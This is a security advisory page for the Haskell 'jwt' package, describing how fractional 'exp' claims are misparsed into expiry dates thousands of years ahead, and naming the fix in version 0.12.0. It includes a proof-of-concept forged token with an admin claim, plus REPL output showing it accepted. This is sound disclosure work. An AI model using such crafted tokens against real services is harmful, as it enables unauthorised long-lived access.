Skip to content
Fencer Intel
medium 4.0

HSEC-2026-0010 json

Improper parsing of fractional NumericDate from JWT exp claims

published last mo. modified last mo.

cvss
4.0
version 3.1, OSV
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

# Improper parsing of fractional `NumericDate` from JWT `exp` claims

Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.

PoC:

```haskell cabal repl --build-depends jwt==0.11.0

import Web.JWT :set -XOverloadedStrings

let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret" let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o" -- { -- "sub": "1234567890", -- "name": "Honest Joe", -- "admin": true, -- "iat": 1790166786, -- "exp": 1790170386.0001 -- } λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit λ λλ ➔ whoops Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o") λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops Just 1790166786s λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops Just 17901703860001s ```

The encoded claim `exp = 1790170386.0001` is: 1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*"... non-integer values can be represented."*); 2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev); 3. Decodes incorrectly as `569252-05-30T12:40:01` (== posix epoch `17901703860001`) by the `jwt` library. ``` >>> import Data.Time.Format.ISO8601 >>> import Data.Time.Clock.POSIX >>> >>> iso8601Show $ posixSecondsToUTCTime 1790166786 "2026-09-23T12:33:06Z" >>> >>> iso8601Show $ posixSecondsToUTCTime 17901703860001 "569252-05-30T12:40:01Z" ``` This happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.

Since the standard `exp` claim carries credential expiration time:

> ### [4.1.4][rfc-4.1.4]. "exp" (Expiration Time) Claim > > The "exp" (expiration time) claim identifies the expiration time on > or after which the JWT MUST NOT be accepted for processing. The > processing of the "exp" claim requires that the current date/time > MUST be before the expiration date/time listed in the "exp" claim.

— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.

[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209 [rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2 [rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4 [scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2

Patch / fix

  • hackage jwt 0.12.0

Is HSEC-2026-0010 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
OSV 3.1 4.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N

Affected packages

ecosystem package affected fixed in
hackage jwt
>=0.1.0, <0.12.0
0.12.0

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.